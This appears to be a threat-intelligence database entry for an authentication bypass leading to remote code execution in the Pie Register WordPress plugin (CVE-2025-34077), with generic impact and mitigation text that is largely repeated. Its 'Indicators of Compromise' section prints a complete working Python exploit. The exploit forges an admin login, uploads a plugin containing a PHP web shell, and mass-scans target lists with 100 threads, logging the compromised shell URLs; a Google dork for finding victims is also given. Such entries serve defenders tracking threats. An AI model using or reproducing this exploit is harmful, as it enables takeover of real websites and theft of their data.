Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE
Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE
AI Analysis
Technical Summary
The Pie Register WordPress Plugin version 3.7.1.4 contains a critical security vulnerability that allows an attacker to bypass authentication mechanisms and achieve remote code execution (RCE) on the affected system. This vulnerability is particularly severe because it does not require prior authentication, enabling an unauthenticated attacker to execute arbitrary code on the web server hosting the WordPress site. The exploit targets the plugin's handling of user requests, likely exploiting insufficient validation or improper access controls within the plugin's codebase. Successful exploitation can lead to full compromise of the web server, allowing attackers to execute arbitrary commands, install malware, pivot within the network, or exfiltrate sensitive data. The presence of publicly available exploit code written in Python further increases the risk, as it lowers the barrier for attackers to leverage this vulnerability. Given that WordPress is a widely used content management system, and Pie Register is a popular plugin for user registration management, this vulnerability poses a significant threat to websites using this plugin version.
Potential Impact
For European organizations, this vulnerability can have severe consequences. Many businesses, government agencies, and other institutions in Europe rely on WordPress for their web presence, including customer portals, intranets, and public-facing websites. Exploitation could lead to unauthorized access to sensitive personal data protected under GDPR, resulting in legal and financial penalties. Additionally, attackers could deface websites, disrupt services, or use compromised servers as footholds for further attacks within corporate networks. The reputational damage from a public breach could be substantial, especially for organizations in regulated sectors such as finance, healthcare, and public administration. The critical nature of the vulnerability means that even organizations with robust perimeter defenses are at risk if they have not updated or patched the affected plugin.
Mitigation Recommendations
Organizations should immediately verify if they are running Pie Register WordPress Plugin version 3.7.1.4. If so, they should upgrade to the latest patched version provided by the plugin developers as soon as it becomes available. In the absence of an official patch, temporarily disabling or uninstalling the plugin is advisable to eliminate the attack surface. Web application firewalls (WAFs) should be configured to detect and block exploit attempts targeting this vulnerability, focusing on unusual requests to the plugin's endpoints. Regularly monitoring web server logs for suspicious activity related to the plugin can help in early detection of exploitation attempts. Additionally, organizations should ensure that their WordPress installations and all plugins are kept up to date, implement the principle of least privilege for web server processes, and maintain robust backup and incident response plans to recover quickly from potential compromises.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland, Sweden, Belgium, Austria
Indicators of Compromise
- exploit-code: # Exploit Title: Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE # Google Dork: inurl:/wp-content/plugins/pie-register/ # Date: 2025-07-09 # Exploit Author: Md Amanat Ullah (xSwads) # Vendor Homepage: https://wordpress.org/plugins/pie-register/ # Software Link: https://downloads.wordpress.org/plugin/pie-register.3.7.1.4.zip # Version: <= 3.7.1.4 # Tested on: Ubuntu 22.04 # CVE: CVE-2025-34077 #!/usr/bin/env python3 import requests import zipfile import io import sys from concurrent.futures import ThreadPoolExecutor, as_completed from colorama import Fore, Style, init from threading import Lock init(autoreset=True) SHELL_PHP = "<?php if(isset($_GET['cmd'])) echo shell_exec($_GET['cmd']); ?>" PLUGIN_DIR = "evilplugin" ZIP_NAME = "evilplugin.zip" SHELL_FILE = "shell.php" OUTPUT_FILE = "Shells.txt" HEADERS = {'User-Agent': 'Mozilla/5.0'} TIMEOUT = 10 lock = Lock() def FilterURLS(site): site = site.strip() if not site.startswith(('http://', 'https://')): site = 'http://' + site if not site.endswith('/'): site += '/' return site def make_shell_zip(): buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as z: z.writestr(f"{PLUGIN_DIR}/{PLUGIN_DIR}.php", "<?php /* Plugin */ ?>") z.writestr(f"{PLUGIN_DIR}/{SHELL_FILE}", SHELL_PHP) buf.seek(0) return buf def exploit(target): target = FilterURLS(target) session = requests.Session() data = {"social_site": "true", "user_id_social_site": "1"} try: r = session.post(f"{target}?pr_social_login=1", data=data, headers=HEADERS, timeout=TIMEOUT) except: print(f"{Fore.RED}[Failed] - {target}") return if not session.cookies: print(f"{Fore.RED}[Failed] - {target}") return files = {"pluginzip": (ZIP_NAME, make_shell_zip(), "application/zip")} try: upload = session.post(f"{target}wp-admin/plugin-install.php?upload", files=files, headers=HEADERS, timeout=TIMEOUT) except: print(f"{Fore.RED}[Failed] - {target}") return if "Plugin installed successfully" in upload.text: shell_url = f"{target}wp-content/plugins/{PLUGIN_DIR}/{SHELL_FILE}" print(f"{Fore.GREEN}[Exploited] - {shell_url}") with lock: with open(OUTPUT_FILE, "a") as f: f.write(shell_url + "\n") else: print(f"{Fore.RED}[Failed] - {target}") def main(targets_file): with open(targets_file, "r") as f: targets = [line.strip() for line in f if line.strip()] with ThreadPoolExecutor(max_workers=100) as executor: futures = [executor.submit(exploit, target) for target in targets] for _ in as_completed(futures): pass if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} list.txt") sys.exit(1) main(sys.argv[1])
Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE
Description
Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE
AI-Powered Analysis
Technical Analysis
The Pie Register WordPress Plugin version 3.7.1.4 contains a critical security vulnerability that allows an attacker to bypass authentication mechanisms and achieve remote code execution (RCE) on the affected system. This vulnerability is particularly severe because it does not require prior authentication, enabling an unauthenticated attacker to execute arbitrary code on the web server hosting the WordPress site. The exploit targets the plugin's handling of user requests, likely exploiting insufficient validation or improper access controls within the plugin's codebase. Successful exploitation can lead to full compromise of the web server, allowing attackers to execute arbitrary commands, install malware, pivot within the network, or exfiltrate sensitive data. The presence of publicly available exploit code written in Python further increases the risk, as it lowers the barrier for attackers to leverage this vulnerability. Given that WordPress is a widely used content management system, and Pie Register is a popular plugin for user registration management, this vulnerability poses a significant threat to websites using this plugin version.
Potential Impact
For European organizations, this vulnerability can have severe consequences. Many businesses, government agencies, and other institutions in Europe rely on WordPress for their web presence, including customer portals, intranets, and public-facing websites. Exploitation could lead to unauthorized access to sensitive personal data protected under GDPR, resulting in legal and financial penalties. Additionally, attackers could deface websites, disrupt services, or use compromised servers as footholds for further attacks within corporate networks. The reputational damage from a public breach could be substantial, especially for organizations in regulated sectors such as finance, healthcare, and public administration. The critical nature of the vulnerability means that even organizations with robust perimeter defenses are at risk if they have not updated or patched the affected plugin.
Mitigation Recommendations
Organizations should immediately verify if they are running Pie Register WordPress Plugin version 3.7.1.4. If so, they should upgrade to the latest patched version provided by the plugin developers as soon as it becomes available. In the absence of an official patch, temporarily disabling or uninstalling the plugin is advisable to eliminate the attack surface. Web application firewalls (WAFs) should be configured to detect and block exploit attempts targeting this vulnerability, focusing on unusual requests to the plugin's endpoints. Regularly monitoring web server logs for suspicious activity related to the plugin can help in early detection of exploitation attempts. Additionally, organizations should ensure that their WordPress installations and all plugins are kept up to date, implement the principle of least privilege for web server processes, and maintain robust backup and incident response plans to recover quickly from potential compromises.
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Technical Details
- Edb Id
- 52370
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE
# Exploit Title: Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE # Google Dork: inurl:/wp-content/plugins/pie-register/ # Date: 2025-07-09 # Exploit Author: Md Amanat Ullah (xSwads) # Vendor Homepage: https://wordpress.org/plugins/pie-register/ # Software Link: https://downloads.wordpress.org/plugin/pie-register.3.7.1.4.zip # Version: <= 3.7.1.4 # Tested on: Ubuntu 22.04 # CVE: CVE-2025-34077 #!/usr/bin/env python3 import requests import zipfile import io import sys from co... (2377 more characters)
Threat ID: 687ffbf0a915ff00f7fb5333
Added to database: 7/22/2025, 9:00:32 PM
Last enriched: 8/18/2025, 1:21:48 AM
Last updated: 9/4/2025, 8:35:34 PM
Views: 59
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